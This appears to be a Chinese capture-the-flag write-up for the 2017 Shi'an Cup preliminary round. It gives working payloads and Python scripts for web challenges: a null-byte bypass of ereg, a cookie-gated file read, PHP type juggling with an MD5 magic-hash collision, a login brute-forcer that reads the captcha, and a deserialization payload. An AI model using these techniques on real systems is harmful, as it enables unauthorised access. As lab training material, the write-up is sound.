[2017世安杯] 初赛Web Writeup

Web:

ctf入门级题目

view_source有源码,如下

<?php
$flag = '*********';

if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        echo '<p class="alert">You password must be alphanumeric</p>';
    else if (strpos ($_GET['password'], '--') !== FALSE)
        die($flag);
    else
        echo '<p class="alert">Invalid password</p>';
}
?>

<section class="login">
        <div class="title">
                <a href="./index.phps">View Source</a>
        </div>

        <form method="POST">
                <input type="text" required name="password" placeholder="Password" /><br/>
                <input type="submit"/>
        </form>
</section>
</body>
</html>

根据源码,ereg可被%00截断,直接上payload

  • payload : ?password=123%00--
  • poc :
    poc
  • flag : flag{Maybe_using_rexpexp_wasnt_a_clever_move}

曲奇饼

题目已经提示了和cookie应该是有关的
进去之后发现是老题目,file是base64之后的文件名称,line是读取文件的行数
可以直接写个脚本读取index.php的源码, 脚本如下:

import requests
url = 'http://ctf1.shiyanbar.com/shian-quqi/index.php?line=%d&file=aW5kZXgucGhw'
se = requests.Session()
for x in xrange(1,40):
    print se.get(url % x).content
source

这里要求我们带有一个值为li_lr_480,名称为key的cookie,这样我们就能读取到thisis_flag.php的源码了
直接控制台document.cookie写cookie 然后将thisis_flag.php 进行base64编码后提交得到flag

  • poc :
    poc
  • flag : flag{UHGgd3rfH*(3HFhuiEIWF}

类型

进去之后有源码,如下:

<?php 
show_source(__FILE__); 
$a=0; 
$b=0; 
$c=0; 
$d=0; 
if (isset($_GET['x1'])) 
{ 
        $x1 = $_GET['x1']; 
        $x1=="1"?die("ha?"):NULL; 
        switch ($x1) 
        { 
        case 0: 
        case 1: 
                $a=1; 
                break; 
        } 
} 
$x2=(array)json_decode(@$_GET['x2']); 
if(is_array($x2)){ 
    is_numeric(@$x2["x21"])?die("ha?"):NULL; 
    if(@$x2["x21"]){ 
        ($x2["x21"]>2017)?$b=1:NULL; 
    } 
    if(is_array(@$x2["x22"])){ 
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?"); 
        $p = array_search("XIPU", $x2["x22"]); 
        $p===false?die("ha?"):NULL; 
        foreach($x2["x22"] as $key=>$val){ 
            $val==="XIPU"?die("ha?"):NULL; 
        } 
        $c=1; 
} 
} 
$x3 = $_GET['x3']; 
if ($x3 != '15562') { 
    if (strstr($x3, 'XIPU')) { 
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) { 
            $d=1; 
        } 
    } 
} 
if($a && $b && $c && $d){ 
    include "flag.php"; 
    echo $flag; 
} 
?>

还是老题目。。。首先a是1a的方式绕过判断,因为在switch中字符串和数字比较php会尝试将字符串intval后比较(或者是这里直接将x1赋值为0,这里的switch有使用错误的嫌疑)。b同样是利用字符串与数字比较的特点进行绕过 只需要赋值为2018aaa即可,c是利用array_search有如下特性:


特性

d的话首先发现 substr(md5('15562'),8,16)是0e开头,则我们需要把x3构造成0e开头的后面全都是数字的md5即可,这里直接上脚本碰撞,脚本如下:

#coding:utf8
import hashlib
import string
import random
import time

i = 0
while 1:
    i += 1
    print '[*] 第' + str(i) + '次碰撞'
    testStr = ''.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4)).strip()
    testCode = hashlib.md5('XIPU'+testStr).hexdigest()[8:24]
    if testCode.startswith('0e') and testCode[2:].isdigit():
        print testStr
        print testCode[2:]
        print '[*] 耗时 ' + str(time.time() - st) + ' s'
        exit()

构造如下payload绕过:

  • payload : ?x1=1a&x2={"x21":"2018aa","x22":[[1],0],"0":3}&x3=XIPUvg6c

  • poc :
    poc
  • flag : CTF{Php_1s_bstl4_1a}


登录

进去之后发现是一个登录框, 源码有提示密码是5位数字,直接上脚本跑出密码:

#coding:utf8
import re
import requests

url = 'http://ctf1.shiyanbar.com/shian-s/'
se = requests.Session()

for x in xrange(1,10000):
    x = str(x).zfill(5)
    flag = 0
    while not flag:
        try:
            content = se.get(url).content
            code = re.findall('<input name="randcode" type="text"><br><br>(\d+)<br><br>', content ,re.S|re.M)[0]
            flag = 1
        except Exception as e:
            print e
    print code
    res = se.get(url+'?username=admin&password='+x+'&randcode='+code)
    print '[*] Trying '+str(x)
    if ('密码错误' not in res.content and 'button' not in res.content and '502' not in res.content)  or 'flag' in res.content:
        print x
        print '-------'
        print res.content
        exit()
    elif '验证码错误' in res.content:
        print '验证码错误!!!'
        exit()

密码为00325

  • poc :
    poc
  • flag : flag{U1tkOdgutaVWucdy2AbDWXPGkDx9bS2a}


web5

又是反序列化的老题目了。。。。
直接上payload吧。。

  • payload : ?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

  • poc :
    poc
  • flag : flag_Xd{hSh_ctf:e@syt0g3t}


Reverse

Console

首先直接看hex观察到是一个dotnet的程序,直接用reflector反汇编,然后修改有输出的那一个函数,直接打印出flag,done

修改代码
  • poc :


    poc
  • flag : flag{967DDDFBCD32C1F53527C221D9E40A0B}


写在最后:感觉。。。这次体验不太好。。早上的时候估计是服务器崩了。。直接跳过选择题。。。然后下午一直都交不了flag。。。直到晚上8点钟催了3次之后才弄好的。。。emmm 然后Web的好像都是老题。。。像是实验吧一日游。。。(逃 然后明天就马上决赛。。。。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,547评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,399评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,428评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,599评论 1 274
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,612评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,577评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,941评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,603评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,852评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,605评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,693评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,375评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,955评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,936评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,172评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,970评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,414评论 2 342

推荐阅读更多精彩内容